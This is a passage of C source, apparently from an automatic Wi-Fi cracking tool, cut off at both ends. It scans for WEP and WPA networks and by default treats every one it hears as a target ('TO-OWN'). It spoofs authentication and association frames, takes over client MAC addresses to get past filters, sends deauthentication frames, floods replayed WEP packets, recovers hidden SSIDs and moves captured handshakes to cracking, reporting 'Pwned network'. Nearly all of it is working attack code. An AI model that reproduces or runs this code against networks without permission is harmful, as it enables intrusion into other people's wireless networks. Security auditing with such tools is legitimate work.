set_mac(n->n_client_mac->c_mac); 1070 | 1071 | return (1); 1072 | } 1073 | 1074 | static void attack_ping(void * a) 1075 | { 1076 | REQUIRE(a != NULL); 1077 | 1078 | struct network * n = a; 1079 | 1080 | if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return; 1081 | 1082 | if (n->n_ping_sent == 10) 1083 | { 1084 | int got = n->n_ping_got; 1085 | int sent = n->n_ping_sent; 1086 | int loss = 100 - ((double) got / (double) sent * 100.0); 1087 | 1088 | if (loss < 0) loss = 0; 1089 | 1090 | time_printf(V_VERBOSE, 1091 | "Ping results for %s %d/%d (%d%% loss)\n", 1092 | n->n_ssid, 1093 | got, 1094 | sent, 1095 | loss); 1096 | 1097 | if (loss >= 80) 1098 | { 1099 | time_printf(V_NORMAL, 1100 | "Crappy connection - %s unreachable" 1101 | " got %d/%d (%d%% loss) [%d dbm]\n", 1102 | n->n_ssid, 1103 | got, 1104 | sent, 1105 | loss, 1106 | n->n_dbm); 1107 | 1108 | n->n_astate = ASTATE_UNREACH; 1109 | } 1110 | else 1111 | n->n_astate = ASTATE_READY; 1112 | 1113 | attack_continue(n); 1114 | return; 1115 | } 1116 | 1117 | ping_send(n); 1118 | 1119 | timer_in(100 * 1000, attack_ping, n); 1120 | } 1121 | 1122 | #ifdef HAVE_PCRE 1123 | static int is_filtered_essid(char * essid) 1124 | { 1125 | REQUIRE(essid != NULL); 1126 | 1127 | int ret = 0; 1128 | 1129 | if (_conf.cf_essid_regex) 1130 | { 1131 | return pcre_exec(_conf.cf_essid_regex, 1132 | NULL, 1133 | (char *) essid, 1134 | strnlen((char *) essid, MAX_IE_ELEMENT_SIZE), 1135 | 0, 1136 | 0, 1137 | NULL, 1138 | 0) 1139 | < 0; 1140 | } 1141 | 1142 | return (ret); 1143 | } 1144 | #endif 1145 | 1146 | // this should always return true -sorbo 1147 | static int should_attack(struct network * n) 1148 | { 1149 | REQUIRE(n != NULL); 1150 | 1151 | if (_conf.cf_bssid && memcmp(_conf.cf_bssid, n->n_bssid, 6) != 0) 1152 | return (0); 1153 | 1154 | #ifdef HAVE_PCRE 1155 | if (is_filtered_essid(n->n_ssid)) 1156 | { 1157 | return (0); 1158 | } 1159 | #endif 1160 | 1161 | if (!n->n_have_beacon) return (0); 1162 | 1163 | switch (n->n_astate) 1164 | { 1165 | case ASTATE_DONE: 1166 | case ASTATE_UNREACH: 1167 | if (_conf.cf_bssid) _state.s_state = STATE_DONE; 1168 | return (0); 1169 | } 1170 | 1171 | if (n->n_crypto != CRYPTO_WEP && n->n_crypto != CRYPTO_WPA) return (0); 1172 | 1173 | if (!_conf.cf_do_wep && n->n_crypto == CRYPTO_WEP) return (0); 1174 | 1175 | if (!_conf.cf_do_wpa && n->n_crypto == CRYPTO_WPA) return (0); 1176 | 1177 | return (1); 1178 | } 1179 | 1180 | static inline int check_ownable(struct network * n) 1181 | { 1182 | REQUIRE(n != NULL); 1183 | 1184 | return (should_attack(n)); 1185 | } 1186 | 1187 | static inline int check_owned(struct network * n) 1188 | { 1189 | REQUIRE(n != NULL); 1190 | 1191 | /* resumed network */ 1192 | if (n->n_beacon.p_len == 0) return (0); 1193 | 1194 | return (n->n_astate == ASTATE_DONE); 1195 | } 1196 | 1197 | static inline int check_unreach(struct network * n) 1198 | { 1199 | REQUIRE(n != NULL); 1200 | 1201 | return (n->n_astate == ASTATE_UNREACH); 1202 | } 1203 | 1204 | static void print_list(char * label, check_cb cb) 1205 | { 1206 | REQUIRE(label != NULL); 1207 | 1208 | struct network * n = _state.s_networks.n_next; 1209 | int first = 1; 1210 | 1211 | printf("%s [", label); 1212 | 1213 | while (n) 1214 | { 1215 | if (cb(n)) 1216 | { 1217 | if (first) 1218 | first = 0; 1219 | else 1220 | printf(", "); 1221 | 1222 | printf("%s", n->n_ssid); 1223 | if (n->n_crypto == CRYPTO_WPA) printf("*"); 1224 | } 1225 | n = n->n_next; 1226 | } 1227 | 1228 | printf("]"); 1229 | } 1230 | 1231 | static void print_work(void) 1232 | { 1233 | time_printf(V_NORMAL, ""); 1234 | 1235 | print_list("TO-OWN", check_ownable); 1236 | print_list(" OWNED", check_owned); 1237 | if (_conf.cf_verb > V_NORMAL) print_list(" UNREACH", check_unreach); 1238 | 1239 | printf("\n"); 1240 | 1241 | save_log(); 1242 | } 1243 | 1244 | static void pwned(struct network * n) 1245 | { 1246 | REQUIRE(n != NULL); 1247 | 1248 | int s = (_state.s_now.tv_sec - n->n_start.tv_sec); 1249 | int m = s / 60; 1250 | 1251 | s -= m * 60; 1252 | 1253 | time_printf( 1254 | V_NORMAL, "Pwned network %s in %d:%.2d mins:sec\n", n->n_ssid, m, s); 1255 | 1256 | n->n_astate = ASTATE_DONE; 1257 | 1258 | print_work(); 1259 | } 1260 | 1261 | static struct network * attack_get(void) 1262 | { 1263 | struct network *n = _state.s_networks.n_next, *start; 1264 | 1265 | if (_state.s_curnet && _state.s_curnet->n_next) n = _state.s_curnet->n_next; 1266 | 1267 | start = n; 1268 | 1269 | while (n) 1270 | { 1271 | if (should_attack(n)) return (n); 1272 | 1273 | n = n->n_next; 1274 | if (n == NULL) 1275 | { 1276 | /* reached head, lets scan for a bit */ 1277 | if (_state.s_state == STATE_ATTACK) return (NULL); 1278 | 1279 | n = _state.s_networks.n_next; 1280 | } 1281 | if (n == start) break; 1282 | } 1283 | 1284 | return (NULL); 1285 | } 1286 | 1287 | static void attack_next(void) 1288 | { 1289 | struct network * n; 1290 | 1291 | if ((n = attack_get())) 1292 | { 1293 | attack(n); 1294 | return; 1295 | } 1296 | 1297 | if (_state.s_state == STATE_DONE) return; 1298 | 1299 | /* we aint got people to pwn */ 1300 | if (_state.s_state == STATE_ATTACK) scan_start(); 1301 | } 1302 | 1303 | static int watchdog_next(struct network * n) 1304 | { 1305 | if (n->n_crypto == CRYPTO_WEP && n->n_astate == ASTATE_WEP_FLOOD 1306 | && n->n_replay_got) 1307 | { 1308 | int diff; 1309 | int to = _conf.cf_floodwait * 1000 * 1000; 1310 | 1311 | diff = time_diff(&n->n_replay_last, &_state.s_now); 1312 | 1313 | if (diff < to) return (to - diff); 1314 | } 1315 | 1316 | return (0); 1317 | } 1318 | 1319 | static void attack_watchdog(void * arg) 1320 | { 1321 | REQUIRE(arg != NULL); 1322 | 1323 | struct network * n = arg; 1324 | int next; 1325 | 1326 | if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return; 1327 | 1328 | next = watchdog_next(n); 1329 | 1330 | if (next <= 0 || next >= INT_MAX) 1331 | { 1332 | time_printf(V_VERBOSE, "Giving up on %s for now\n", n->n_ssid); 1333 | attack_next(); 1334 | } 1335 | else 1336 | timer_in(next, attack_watchdog, n); 1337 | } 1338 | 1339 | static void network_auth(void * a) 1340 | { 1341 | REQUIRE(a != NULL); 1342 | 1343 | struct network * n = a; 1344 | 1345 | if (_state.s_state != STATE_ATTACK || _state.s_curnet != n 1346 | || n->n_wstate != WSTATE_NONE) 1347 | return; 1348 | 1349 | if (!have_mac(n)) return; 1350 | 1351 | time_printf(V_VERBOSE, "Authenticating...\n"); 1352 | 1353 | send_auth(n); 1354 | 1355 | timer_in(_conf.cf_to * 1000, network_auth, n); 1356 | } 1357 | 1358 | static void do_assoc(struct network * n, int stype) 1359 | { 1360 | REQUIRE(n != NULL); 1361 | 1362 | unsigned char buf[2048]; 1363 | struct ieee80211_frame * wh = (struct ieee80211_frame *) buf; 1364 | uint16_t * rc = (uint16_t *) (wh + 1); 1365 | unsigned char * p; 1366 | 1367 | fill_basic(n, wh); 1368 | memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1)); 1369 | memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2)); 1370 | memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3)); 1371 | 1372 | wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | stype; 1373 | 1374 | *rc++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY 1375 | | IEEE80211_CAPINFO_SHORT_PREAMBLE); 1376 | *rc++ = htole16(0); 1377 | 1378 | p = (unsigned char *) rc; 1379 | 1380 | if (stype == IEEE80211_FC0_SUBTYPE_REASSOC_REQ) 1381 | { 1382 | memcpy(p, n->n_bssid, sizeof(n->n_bssid)); 1383 | p += sizeof(n->n_bssid); 1384 | } 1385 | 1386 | *p++ = IEEE80211_ELEMID_SSID; 1387 | *p++ = strlen(n->n_ssid); 1388 | memcpy(p, n->n_ssid, strlen(n->n_ssid)); 1389 | p += strlen(n->n_ssid); 1390 | 1391 | // rates 1392 | *p++ = IEEE80211_ELEMID_RATES; 1393 | *p++ = 8; 1394 | *p++ = 2 | 0x80; 1395 | *p++ = 4 | 0x80; 1396 | *p++ = 11 | 0x80; 1397 | *p++ = 22 | 0x80; 1398 | *p++ = 12 | 0x80; 1399 | *p++ = 24 | 0x80; 1400 | *p++ = 48 | 0x80; 1401 | *p++ = 72; 1402 | 1403 | /* x-rates */ 1404 | *p++ = IEEE80211_ELEMID_XRATES; 1405 | *p++ = 4; 1406 | *p++ = 48; 1407 | *p++ = 72; 1408 | *p++ = 96; 1409 | *p++ = 108; 1410 | 1411 | wifi_send(wh, (unsigned long) p - (unsigned long) wh); 1412 | } 1413 | 1414 | static void network_assoc(void * a) 1415 | { 1416 | REQUIRE(a != NULL); 1417 | 1418 | struct network * n = a; 1419 | 1420 | if (_state.s_state != STATE_ATTACK || _state.s_curnet != n 1421 | || n->n_wstate != WSTATE_AUTH) 1422 | return; 1423 | 1424 | do_assoc(n, IEEE80211_FC0_SUBTYPE_ASSOC_REQ); 1425 | 1426 | time_printf(V_VERBOSE, "Associating...\n"); 1427 | 1428 | timer_in(_conf.cf_to * 1000, network_assoc, n); 1429 | } 1430 | 1431 | static int need_connect(struct network * n) 1432 | { 1433 | REQUIRE(n != NULL); 1434 | 1435 | if (n->n_crypto == CRYPTO_WPA) return (0); 1436 | 1437 | switch (n->n_astate) 1438 | { 1439 | case ASTATE_READY: 1440 | case ASTATE_WEP_PRGA_GET: 1441 | case ASTATE_WEP_FLOOD: 1442 | return (1); 1443 | 1444 | default: 1445 | return (0); 1446 | } 1447 | } 1448 | 1449 | static int network_connect(struct network * n) 1450 | { 1451 | REQUIRE(n != NULL); 1452 | 1453 | switch (n->n_wstate) 1454 | { 1455 | case WSTATE_NONE: 1456 | network_auth(n); 1457 | break; 1458 | 1459 | case WSTATE_AUTH: 1460 | network_assoc(n); 1461 | break; 1462 | 1463 | case WSTATE_ASSOC: 1464 | return (1); 1465 | } 1466 | 1467 | return (0); 1468 | } 1469 | 1470 | static void prga_get(struct network * n) 1471 | { 1472 | REQUIRE(n != NULL); 1473 | 1474 | if (n->n_replay_len) 1475 | { 1476 | n->n_astate = ASTATE_WEP_FLOOD; 1477 | attack_continue(n); 1478 | } 1479 | } 1480 | 1481 | static void speed_add(struct speed * s) 1482 | { 1483 | REQUIRE(s != NULL); 1484 | 1485 | if (s->s_start.tv_sec == 0) 1486 | memcpy(&s->s_start, &_state.s_now, sizeof(s->s_start)); 1487 | 1488 | s->s_num++; 1489 | } 1490 | 1491 | static void speed_calculate(struct speed * s) 1492 | { 1493 | REQUIRE(s != NULL); 1494 | 1495 | int diff = time_diff(&s->s_start, &_state.s_now); 1496 | 1497 | if (diff < (1000 * 1000)) return; 1498 | 1499 | s->s_speed = (int) ((double) s->s_num / ((double) diff / 1000.0 / 1000.0)); 1500 | 1501 | memcpy(&s->s_start, &_state.s_now, sizeof(s->s_start)); 1502 | s->s_num = 0; 1503 | } 1504 | 1505 | static void do_flood(struct network * n) 1506 | { 1507 | REQUIRE(n != NULL); 1508 | 1509 | struct ieee80211_frame * wh = (struct ieee80211_frame *) n->n_replay; 1510 | 1511 | if (!network_connect(n)) return; 1512 | 1513 | memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2)); 1514 | 1515 | wifi_send(n->n_replay, n->n_replay_len); 1516 | speed_add(&n->n_flood_out); 1517 | } 1518 | 1519 | static void wep_flood(void * a) 1520 | { 1521 | REQUIRE(a != NULL); 1522 | 1523 | struct network * n = a; 1524 | 1525 | if (_state.s_state != STATE_ATTACK || _state.s_curnet != n 1526 | || n->n_astate != ASTATE_WEP_FLOOD) 1527 | return; 1528 | 1529 | do_flood(n); 1530 | 1531 | timer_in(_conf.cf_floodfreq, wep_flood, n); 1532 | } 1533 | 1534 | static void replay_check(void * a) 1535 | { 1536 | REQUIRE(a != NULL); 1537 | 1538 | struct network * n = a; 1539 | 1540 | if (_state.s_state != STATE_ATTACK || _state.s_curnet != n 1541 | || n->n_astate != ASTATE_WEP_FLOOD) 1542 | return; 1543 | 1544 | if (n->n_replay_got > 3) return; 1545 | 1546 | n->n_replay_len = 0; 1547 | n->n_astate = ASTATE_WEP_PRGA_GET; 1548 | } 1549 | 1550 | static void start_flood(struct network * n) 1551 | { 1552 | REQUIRE(n != NULL); 1553 | 1554 | n->n_replay_got = 0; /* refresh replay packet if it sucks */ 1555 | 1556 | timer_in(5 * 1000 * 1000, replay_check, n); 1557 | wep_flood(n); 1558 | } 1559 | 1560 | static void attack_wep(struct network * n) 1561 | { 1562 | REQUIRE(n != NULL); 1563 | 1564 | if (!n->n_ssid[0]) 1565 | { 1566 | n->n_astate = ASTATE_DEAUTH; 1567 | deauth(n); 1568 | return; 1569 | } 1570 | 1571 | if (!network_connect(n)) return; 1572 | 1573 | switch (n->n_astate) 1574 | { 1575 | case ASTATE_READY: 1576 | n->n_astate = ASTATE_WEP_PRGA_GET; 1577 | /* fallthrough */ 1578 | case ASTATE_WEP_PRGA_GET: 1579 | prga_get(n); 1580 | break; 1581 | 1582 | case ASTATE_WEP_FLOOD: 1583 | start_flood(n); 1584 | break; 1585 | } 1586 | } 1587 | 1588 | static void attack_continue(struct network * n) 1589 | { 1590 | if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return; 1591 | 1592 | REQUIRE(n != NULL); 1593 | 1594 | switch (n->n_astate) 1595 | { 1596 | case ASTATE_NONE: 1597 | n->n_astate = ASTATE_PING; 1598 | /* fall through */ 1599 | case ASTATE_PING: 1600 | n->n_ping_got = n->n_ping_sent = 0; 1601 | attack_ping(n); 1602 | return; 1603 | 1604 | case ASTATE_DONE: 1605 | pwned(n); 1606 | /* fallthrough */ 1607 | case ASTATE_UNREACH: 1608 | if (_conf.cf_bssid) 1609 | _state.s_state = STATE_DONE; 1610 | else 1611 | attack_next(); 1612 | return; 1613 | } 1614 | 1615 | switch (n->n_crypto) 1616 | { 1617 | case CRYPTO_WPA: 1618 | attack_wpa(n); 1619 | break; 1620 | 1621 | case CRYPTO_WEP: 1622 | attack_wep(n); 1623 | break; 1624 | } 1625 | } 1626 | 1627 | static void attack(struct network * n) 1628 | { 1629 | REQUIRE(n != NULL); 1630 | 1631 | _state.s_curnet = n; 1632 | _state.s_state = STATE_ATTACK; 1633 | 1634 | channel_set(n->n_chan); 1635 | 1636 | char * mac = mac2string(n->n_bssid); 1637 | ALLEGE(mac != NULL); 1638 | time_printf(V_VERBOSE, "Pwning [%s] %s on chan %d\n", n->n_ssid, mac2string(n->n_bssid), n->n_chan); 1639 | free(mac); 1640 | 1641 | if (n->n_start.tv_sec == 0) 1642 | memcpy(&n->n_start, &_state.s_now, sizeof(n->n_start)); 1643 | 1644 | if (!_conf.cf_bssid) 1645 | timer_in(_conf.cf_attackwait * 1000 * 1000, attack_watchdog, n); 1646 | 1647 | n->n_attempts++; 1648 | 1649 | attack_continue(n); 1650 | } 1651 | 1652 | static void found_new_client(struct network * n, struct client * c) 1653 | { 1654 | REQUIRE(n != NULL); 1655 | REQUIRE(c != NULL); 1656 | 1657 | char * mac = mac2string(c->c_mac); 1658 | ALLEGE(mac != NULL); 1659 | time_printf( 1660 | V_VERBOSE, "Found client for network [%s] %s\n", n->n_ssid, mac); 1661 | free(mac); 1662 | 1663 | if (n->n_mac_filter && !n->n_client_mac) attack_continue(n); 1664 | } 1665 | 1666 | static void found_new_network(struct network * n) 1667 | { 1668 | REQUIRE(n != NULL); 1669 | 1670 | struct client * c = n->n_clients.c_next; 1671 | 1672 | network_print(n); 1673 | 1674 | while (c) 1675 | { 1676 | found_new_client(n, c); 1677 | c = c->c_next; 1678 | } 1679 | 1680 | if (_conf.cf_bssid 1681 | && memcmp(n->n_bssid, _conf.cf_bssid, sizeof(n->n_bssid)) == 0) 1682 | { 1683 | if (should_attack(n)) 1684 | { 1685 | attack(n); 1686 | } 1687 | else 1688 | { 1689 | time_printf(V_NORMAL, "Can't attack %s\n", n->n_ssid); 1690 | _state.s_state = STATE_DONE; 1691 | } 1692 | } 1693 | } 1694 | 1695 | static void packet_copy(struct packet * p, void * d, int len) 1696 | { 1697 | REQUIRE(p != NULL); 1698 | REQUIRE(len <= (int) sizeof(p->p_data)); 1699 | 1700 | p->p_len = len; 1701 | memcpy(p->p_data, d, len); 1702 | } 1703 | 1704 | static void packet_write_pcap(int fd, struct packet * p); 1705 | 1706 | static void found_ssid(struct network * n) 1707 | { 1708 | REQUIRE(n != NULL); 1709 | 1710 | unsigned char * p; 1711 | int ssidlen; 1712 | int origlen; 1713 | 1714 | char * mac = mac2string(n->n_bssid); 1715 | ALLEGE(mac != NULL); 1716 | time_printf(V_NORMAL, "Found SSID [%s] for %s\n", n->n_ssid, mac); 1717 | free(mac); 1718 | 1719 | /* beacon surgery */ 1720 | p = n->n_beacon.p_data + sizeof(struct ieee80211_frame) + 8 + 2 + 2; 1721 | 1722 | ssidlen = strlen(n->n_ssid); 1723 | ALLEGE((n->n_beacon.p_len + ssidlen) <= (int) sizeof(n->n_beacon.p_data)); 1724 | 1725 | ALLEGE(*p == IEEE80211_ELEMID_SSID); 1726 | p++; 1727 | 1728 | origlen = *p; 1729 | *p++ = ssidlen; 1730 | 1731 | ALLEGE(origlen == 0 || p[0] == 0); 1732 | 1733 | memmove(p + ssidlen, 1734 | p + origlen, 1735 | n->n_beacon.p_len - (p + origlen - n->n_beacon.p_data)); 1736 | memcpy(p, n->n_ssid, ssidlen); 1737 | 1738 | n->n_beacon.p_len += ssidlen - origlen; 1739 | 1740 | if (n->n_client_handshake) 1741 | { 1742 | n->n_astate = ASTATE_WPA_CRACK; 1743 | attack_continue(n); 1744 | } 1745 | 1746 | if (n->n_crypto == CRYPTO_WEP) 1747 | { 1748 | n->n_astate = ASTATE_READY; 1749 | attack_continue(n); 1750 | } 1751 | } 1752 | 1753 | static int parse_rsn(struct network * n, unsigned char * p, int l, int rsn) 1754 | { 1755 | REQUIRE(n != NULL); 1756 | REQUIRE(p != NULL); 1757 | 1758 | int c; 1759 | unsigned char * start = p; 1760 | int psk = 0; 1761 | 1762 | if (l < 2 || l >= INT_MAX) return (0); 1763 | 1764 | if (memcmp(p, "\x01\x00", 2) != 0) return (0); 1765 | 1766 | n->n_crypto = CRYPTO_WPA; 1767 | 1768 | if (l < 8) return (-1); 1769 | 1770 | p += 2; 1771 | p += 4; 1772 | 1773 | /* cipher */ 1774 | c = le16toh(*((uint16_t *) p)); 1775 | 1776 | p += 2 + 4 * c; 1777 | 1778 | if (l < ((p - start) + 2)) return (-1); 1779 | 1780 | /* auth */ 1781 | c = le16toh(*((uint16_t *) p)); 1782 | p += 2; 1783 | 1784 | if (l < ((p - start) + c * 4)) return (-1); 1785 | 1786 | while (c--) 1787 | { 1788 | if (rsn && memcmp(p, "\x00\x0f\xac\x02", 4) == 0) psk = 1; 1789 | 1790 | if (!rsn && memcmp(p, "\x00\x50\xf2\x02", 4) == 0) psk = 1; 1791 | 1792 | p += 4; 1793 | } 1794 | 1795 | ALLEGE(l >= (p - start)); 1796 | 1797 | if (!psk) n->n_crypto = CRYPTO_WPA_MGT; 1798 | 1799 | return (0); 1800 | } 1801 | 1802 | static int parse_elem_vendor(struct network * n, unsigned char * e, int l) 1803 | { 1804 | REQUIRE(n != NULL); 1805 | REQUIRE(e != NULL); 1806 | 1807 | struct ieee80211_ie_wpa * wpa = (struct ieee80211_ie_wpa *) e; 1808 | 1809 | if (l < 5) return (0); 1810 | 1811 | if (memcmp(wpa->wpa_oui, "\x00\x50\xf2", 3) != 0) return (0); 1812 | 1813 | if (l < 8) return (0); 1814 | 1815 | if (wpa->wpa_type != WPA_OUI_TYPE) return (0); 1816 | 1817 | return (parse_rsn(n, (unsigned char *) &wpa->wpa_version, l - 6, 0)); 1818 | } 1819 | 1820 | static void 1821 | wifi_beacon(struct network * n, struct ieee80211_frame * wh, int totlen) 1822 | { 1823 | REQUIRE(n != NULL); 1824 | REQUIRE(wh != NULL); 1825 | 1826 | unsigned char * p = (unsigned char *) (wh + 1); 1827 | int bhlen = 8 + 2 + 2; 1828 | int new = 0; 1829 | int len = totlen; 1830 | int hidden = 0; 1831 | int ssids = 0; 1832 | 1833 | totlen -= sizeof(*wh); 1834 | 1835 | if (totlen < bhlen) goto __bad; 1836 | 1837 | if (!(IEEE80211_BEACON_CAPABILITY(p) & IEEE80211_CAPINFO_PRIVACY)) return; 1838 | 1839 | if (!n->n_have_beacon) new = 1; 1840 | 1841 | n->n_have_beacon = 1; 1842 | n->n_crypto = CRYPTO_WEP; 1843 | n->n_dbm = _state.s_ri->ri_power; 1844 | 1845 | p += bhlen; 1846 | totlen -= bhlen; 1847 | 1848 | while (totlen > 2) 1849 | { 1850 | int id = *p++; 1851 | int l = *p++; 1852 | 1853 | totlen -= 2; 1854 | 1855 | if (totlen < l) goto __bad; 1856 | 1857 | switch (id) 1858 | { 1859 | case IEEE80211_ELEMID_SSID: 1860 | if (++ssids > 1) break; 1861 | 1862 | if (l == 0 || p[0] == 0) 1863 | hidden = 1; 1864 | else 1865 | { 1866 | memcpy(n->n_ssid, p, l); 1867 | n->n_ssid[l] = 0; 1868 | } 1869 | break; 1870 | 1871 | case IEEE80211_ELEMID_DSPARMS: 1872 | n->n_chan = *p; 1873 | break; 1874 | 1875 | case IEEE80211_ELEMID_VENDOR: 1876 | if (parse_elem_vendor(n, &p[-2], l + 2) == -1) goto __bad; 1877 | break; 1878 | 1879 | case IEEE80211_ELEMID_RSN: 1880 | if (parse_rsn(n, p, l, 1) == -1) goto __bad; 1881 | break; 1882 | 1883 | case IEEE80211_ELEMID_HTINFO: 1884 | n->n_chan = *p; 1885 | break; 1886 | 1887 | default: 1888 | // printf("id %d len %d\n", id, l); 1889 | break; 1890 | } 1891 | 1892 | p += l; 1893 | totlen -= l; 1894 | } 1895 | 1896 | if (new) 1897 | { 1898 | packet_copy(&n->n_beacon, wh, len); 1899 | found_new_network(n); 1900 | 1901 | if (hidden && n->n_ssid[0]) found_ssid(n); 1902 | 1903 | if (ssids > 1 && should_attack(n)) 1904 | { 1905 | char * mac = mac2string(n->n_bssid); 1906 | ALLEGE(mac != NULL); 1907 | time_printf(V_NORMAL, 1908 | "WARNING: unsupported multiple SSIDs" 1909 | " for network %s [%s]\n", 1910 | mac, 1911 | n->n_ssid); 1912 | free(mac); 1913 | } 1914 | } 1915 | 1916 | return; 1917 | __bad: 1918 | printf("\nBad beacon\n"); 1919 | } 1920 | 1921 | static inline int for_us(struct ieee80211_frame * wh) 1922 | { 1923 | REQUIRE(wh != NULL); 1924 | 1925 | return memcmp(wh->i_addr1, _state.s_mac, sizeof(wh->i_addr1)) == 0; 1926 | } 1927 | 1928 | static inline void has_mac_filter(struct network * n) 1929 | { 1930 | REQUIRE(n != NULL); 1931 | 1932 | time_printf(V_VERBOSE, "MAC address filter on %s\n", n->n_ssid); 1933 | n->n_mac_filter = 1; 1934 | } 1935 | 1936 | static void wifi_auth(struct network * n, struct ieee80211_frame * wh, int len) 1937 | { 1938 | REQUIRE(n != NULL); 1939 | REQUIRE(wh != NULL); 1940 | 1941 | uint16_t * p = (uint16_t *) (wh + 1); 1942 | int rc; 1943 | 1944 | if (len < (int) (sizeof(*wh) + 2 + 2 + 2)) goto __bad; 1945 | 1946 | rc = le16toh(p[2]); 1947 | 1948 | if (for_us(wh) && rc != 0) 1949 | { 1950 | if (!n->n_mac_filter) has_mac_filter(n); 1951 | } 1952 | 1953 | if (for_us(wh) && n->n_astate == ASTATE_PING) 1954 | { 1955 | ping_reply(n, wh); 1956 | return; 1957 | } 1958 | 1959 | if (for_us(wh) && n->n_wstate == ASTATE_NONE && need_connect(n)) 1960 | { 1961 | if (le16toh(p[0]) != 0 || le16toh(p[1]) != 2) return; 1962 | 1963 | if (le16toh(p[2]) == 0) 1964 | { 1965 | n->n_wstate = WSTATE_AUTH; 1966 | time_printf(V_VERBOSE, "Authenticated\n"); 1967 | network_connect(n); 1968 | } 1969 | } 1970 | 1971 | return; 1972 | __bad: 1973 | printf("Bad auth\n"); 1974 | } 1975 | 1976 | static void found_mac(struct network * n) 1977 | { 1978 | REQUIRE(n != NULL); 1979 | 1980 | if (!n->n_mac_filter || n->n_got_mac) return; 1981 | 1982 | ALLEGE(n->n_client_mac != NULL); 1983 | 1984 | char * mac = mac2string(n->n_client_mac->c_mac); 1985 | ALLEGE(mac != NULL); 1986 | time_printf(V_NORMAL, "Found MAC %s for %s\n", mac, n->n_ssid); 1987 | free(mac); 1988 | 1989 | n->n_got_mac = 1; 1990 | } 1991 | 1992 | static void 1993 | wifi_assoc_resp(struct network * n, struct ieee80211_frame * wh, int len) 1994 | { 1995 | REQUIRE(n != NULL); 1996 | REQUIRE(wh != NULL); 1997 | 1998 | uint16_t * p = (uint16_t *) (wh + 1); 1999 | 2000 | if (len < (int) (sizeof(*wh) + 2 + 2 + 2)) goto __bad; 2001 | 2002 | if (for_us(wh) && n->n_wstate == WSTATE_AUTH) 2003 | { 2004 | if (le16toh(p[1]) == 0) 2005 | { 2006 | int aid = le16toh(p[2]) & 0x3FFF; 2007 | 2008 | n->n_wstate = WSTATE_ASSOC; 2009 | time_printf( 2010 | V_NORMAL, "Associated to %s AID [%d]\n", n->n_ssid, aid); 2011 | 2012 | found_mac(n); 2013 | 2014 | attack_continue(n); 2015 | } 2016 | else 2017 | time_printf(V_NORMAL, "Assoc died %d\n", le16toh(p[1])); 2018 | } 2019 | 2020 | return; 2021 | __bad: 2022 | printf("Bad assoc resp\n"); 2023 | } 2024 | 2025 | static void grab_hidden_ssid(struct network * n, 2026 | struct ieee80211_frame * wh, 2027 | int len, 2028 | int off) 2029 | { 2030 | REQUIRE(n != NULL); 2031 | REQUIRE(wh != NULL); 2032 | 2033 | unsigned char * p = ((unsigned char *) (wh + 1)) + off; 2034 | int l; 2035 | 2036 | if (n->n_ssid[0]) return; 2037 | 2038 | len -= sizeof(*wh) + off + 2; 2039 | 2040 | if (len < 0) goto __bad; 2041 | 2042 | if (*p++ != IEEE80211_ELEMID_SSID) goto __bad; 2043 | 2044 | l = *p++; 2045 | if (l > len) goto __bad; 2046 | 2047 | if (l == 0) return; 2048 | 2049 | memcpy(n->n_ssid, p, l); 2050 | n->n_ssid[l] = 0; 2051 | 2052 | if (!n->n_have_beacon) return; 2053 | 2054 | found_ssid(n); 2055 | return; 2056 | __bad: 2057 | printf("\nbad grab_hidden_ssid\n"); 2058 | return; 2059 | } 2060 | 2061 | static void wifi_mgt(struct network * n, struct ieee80211_frame * wh, int len) 2062 | { 2063 | REQUIRE(wh != NULL); 2064 | 2065 | switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) 2066 | { 2067 | case IEEE80211_FC0_SUBTYPE_BEACON: 2068 | wifi_beacon(n, wh, len); 2069 | break; 2070 | 2071 | case IEEE80211_FC0_SUBTYPE_AUTH: 2072 | wifi_auth(n, wh, len); 2073 | break; 2074 | 2075 | case IEEE80211_FC0_SUBTYPE_ASSOC_RESP: 2076 | wifi_assoc_resp(n, wh, len); 2077 | break; 2078 | 2079 | case IEEE80211_FC0_SUBTYPE_DEAUTH: 2080 | if (for_us(wh) && need_connect(n)) 2081 | { 2082 | REQUIRE(n != NULL); 2083 | 2084 | time_printf(V_VERBOSE, "Got deauth for %s\n", n->n_ssid); 2085 | n->n_wstate = WSTATE_NONE; 2086 | network_connect(n); 2087 | } 2088 | break; 2089 | 2090 | case IEEE80211_FC0_SUBTYPE_ASSOC_REQ: 2091 | grab_hidden_ssid(n, wh, len, 2 + 2); 2092 | break; 2093 | 2094 | case IEEE80211_FC0_SUBTYPE_REASSOC_REQ: 2095 | grab_hidden_ssid(n, wh, len, 2 + 2 + 6); 2096 | break; 2097 | 2098 | case IEEE80211_FC0_SUBTYPE_PROBE_RESP: 2099 | grab_hidden_ssid(n, wh, len, 8 + 2 + 2); 2100 | break; 2101 | 2102 | default: 2103 | if (for_us(wh)) 2104 | { 2105 | printf("UNHANDLED MGMT %d\n", 2106 | (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) 2107 | >> IEEE80211_FC0_SUBTYPE_SHIFT); 2108 | } 2109 | break; 2110 | } 2111 | } 2112 | 2113 | static inline void wifi_ctl(struct ieee80211_frame * wh, int len) 2114 | { 2115 | UNUSED_PARAM(wh); 2116 | UNUSED_PARAM(len); 2117 | } 2118 | 2119 | static unsigned char * get_client_mac(struct ieee80211_frame * wh) 2120 | { 2121 | REQUIRE(wh != NULL); 2122 | 2123 | unsigned char * bssid = get_bssid(wh); 2124 | int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; 2125 | 2126 | if (type == IEEE80211_FC0_TYPE_CTL) return (NULL); 2127 | 2128 | if (!bssid) return (wh->i_addr2); 2129 | 2130 | if (bssid == wh->i_addr1) 2131 | return (wh->i_addr2); 2132 | else 2133 | return (wh->i_addr1); 2134 | } 2135 | 2136 | static struct client * client_get(struct network * n, 2137 | struct ieee80211_frame * wh) 2138 | { 2139 | REQUIRE(n != NULL); 2140 | 2141 | struct client * c = n->n_clients.c_next; 2142 | unsigned char * cmac = 